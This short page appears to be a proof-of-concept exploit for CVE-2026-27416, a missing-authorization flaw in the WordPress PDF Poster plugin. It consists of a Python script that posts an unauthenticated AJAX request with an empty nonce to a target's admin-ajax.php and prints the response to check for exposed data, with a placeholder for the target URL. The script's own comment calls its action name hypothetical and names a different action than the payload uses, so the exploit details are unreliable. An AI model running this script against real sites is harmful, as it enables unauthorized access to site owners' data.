CVE-2026-27416 PDF Poster插件权限绕过漏洞

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-27416 (Missing Authorization) This script attempts to access restricted data without authentication. """ # The vulnerable endpoint is typically an AJAX action ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload often involves a specific action defined by the plugin # 'pdf_poster_list' is a hypothetical action name based on the plugin functionality payload = { "action": "pdf_poster_get_data", "nonce": "" } try: print(f"[*] Sending request to: {ajax_url}") response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request successful. Check response content for sensitive data exposure.") print("[+] Response body:") print(response.text[:200]) # Print first 200 chars else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL check_vulnerability(target)